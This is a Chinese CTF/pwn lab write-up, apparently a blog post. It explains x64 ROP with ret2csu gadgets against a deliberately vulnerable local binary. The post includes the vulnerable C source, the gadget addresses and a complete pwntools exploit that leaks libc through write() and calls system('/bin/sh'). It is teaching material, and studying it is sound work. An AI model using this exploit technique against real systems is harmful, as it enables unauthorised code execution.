Tamevic’s Ctf-Pwn writeup@软件安全‘实验4pwn’

Tamevic’s Ctf-Pwn writeup@软件安全‘实验4pwn’

x64和x86到底有什么不同?

文件
这次是给到一段源码,自己对其进行编译,然后再pwn可执行文件,源码如下:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void vulnerable_function() {
   char buf[128];
   read(STDIN_FILENO, buf, 512);
}

int main(int argc, char** argv) {
   write(STDOUT_FILENO, "Hello, World\n", 13);
   vulnerable_function();
}

编译命令:
gcc -fno-stack-protector -z execstack -o lab4 lab4.c

-fno-stack-protector和-z execstack这两个参数会分别关掉DEP和Stack Protector。同时我们在shell中执行:
在这里插入图片描述这样就编译出了一个没有canary,没有PIE的可执行文件lab4

分析

这次实验主要是为了认识到x64和x86到底有什么区别,以及对通用gadgets的使用。我们一点一点来学习:

x64和x86的区别
从本质上来说x64是64位汇编而x86是32位汇编,一次执行的位数不一样。从执行情况来说,传参的方式不一样:x86的参数是直接保存在栈上,而x64的参数先依次存入寄存器RDI, RSI, RDX, RCX, R8和 R9,从第7个参数开始才保存在栈上。所以需要使用一些类似于pop rdi;ret之类的gadgets。找gadgets的话可以使用objdump命令来查找,或者使用ROPgadget
(例句:ROPgadget --binary lab4 --only "pop|ret"

关于通用gadgets
有的时候可能找不到比较合适的gadgets,但是在x64编译时会加入一个初始化函数_libc_csu_init()
在这里插入图片描述其中关键的gadgets就在0x400616这里
在这里插入图片描述这里我们可以控制rbx、rbp、r12、r13、r14、r15的值,然后再回到上面0x400600
在这里插入图片描述利用这里的3个mov语句将r13的值赋给rdx,将r14的值赋给rsi,将r15的值赋给rdi,同时还能调用[r12+rbx*8]这个地址的指令。之后继续顺序执行到最后ret回跳到想要去的地方。

具体exp思路:

  • 利用通用gadgets,控制pc调用想调用的函数,
  • 通过write()函数泄露libc版本,计算libc基址,求得System()函数和’/bin/sh‘的地址,
  • 回到main()函数溢出执行system(’/bin/sh‘)
  • getshell

-看看主函数
记下主函数地址 0x0000000000400587
记下popgad地址0x000000000040061A
记下movgad地址0x0000000000400600

-根据思路写脚本
还是按照边调试边写脚本的方法

1.先计算溢出点

在这里插入图片描述在这里插入图片描述
构建200个有序字符,运行程序,粘贴输入,发现在0x0000000000400586这行代码的地方发生溢出,查看此时的$rsp

x/gx $rsp

如图,可知溢出的字段是0x6261616b6261616a
在有序字符内查找(cyclic这个工具只能查32位,比较蛋疼,我们得到的字段是64位的,由堆栈的特点可以推断应该用后四位进行查询),可以得知在136字符处发生溢出。

2.再利用通用gadgets

payload='a'*136 + p64(popgad)
payload+=p64(0)+p64(1)+p64(elf.got['write'])+p64(8)+p64(elf.got['write'])+p64(1)
payload+=p64(movgad)
payload+='a'* (7*8)+p64(main)

主函数中覆盖返回地址让程序执行到popgad的位置,然后对寄存器进行赋值。
对这段代码研究一下可以知道,在movgad执行后会将rbx+1,随后将rbx和rbp进行比对,不相等则回跳向别处。所以这里先给rbx赋值0,给rbp赋值1.我们想让函数执行r12所存的函数地址的函数,而且还需要泄露libc的版本,所以用一个执行过的函数write()。这里要注意,由于我们这里直接是call指令执行,所以要用write_got中的地址。后三个寄存器r13,r14,r15的值分别会在movgad中赋给rdx,rsi,rdi。**(这里一定要注意顺序,在x64的传参规则中,顺序是rdi,rsi,rdx,所以此处r15将是write函数的第一个参数,r14是第二个参数,r13是第三个参数)**达到的效果等同于write(1,write_got,8),64位文件位数应为8!
然后将movgad的值赋给ret,让程序向上跳从三个mov开始执行。然后程序会顺序向下执行,这里共有7条指令,为避免程序乱跳,需要将这些语句都覆盖。传入’a‘*(7*8),然后赋值main函数的地址,让程序继续回到main函数执行。

3.泄露libc,让程序执行System(’/bin/sh’)

write=u64(p.recv(8).ljust(8,'\x00'))
print "write:" + hex(write)
libc=LibcSearcher('write',write)
libcbase=write-libc.dump('write')
system_addr=libcbase+libc.dump('system')
binsh_addr=libcbase+libc.dump('str_bin_sh')

payload2='a'*136 + p64(0x0000000000400623)+p64(binsh_addr)+p64(system_addr)

这里又找了一个gadgets
在这里插入图片描述0x400623 pop rdi;ret 用这个gadgets执行

最终exp如下,并执行

from pwn import *
from LibcSearcher import *

context.log_level='debug'
context.terminal=['gnome-terminal','-x','sh','-c']

p=process('./lab4')
elf=ELF('./lab4')

main  =0x0000000000400587
popgad=0x000000000040061A
movgad=0x0000000000400600

print p64(elf.got['write'])

payload='a'*136 + p64(popgad)
payload+=p64(0)+p64(1)+p64(elf.got['write'])+p64(8)+p64(elf.got['write'])+p64(1)
payload+=p64(movgad)
payload+='a'* (7*8)+p64(main)
#pwnlib.gdb.attach(p)

p.recvuntil('World\n')
p.sendline(payload)
write=u64(p.recv(8).ljust(8,'\x00'))
print "write:" + hex(write)
libc=LibcSearcher('write',write)
libcbase=write-libc.dump('write')
system_addr=libcbase+libc.dump('system')
binsh_addr=libcbase+libc.dump('str_bin_sh')

payload2='a'*136 + p64(0x0000000000400623)+p64(binsh_addr)+p64(system_addr)
p.recvuntil('World\n')
p.sendline(payload2)

p.interactive()

结果

运行脚本,getshell
在这里插入图片描述

End

在那个13,14,15的顺序那里卡了很久…没有注意到顺序带来的影响,说到底还是没有把movgad的执行过程想清楚!

19岁的最后一篇博客。祝自己生日快乐啊~

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值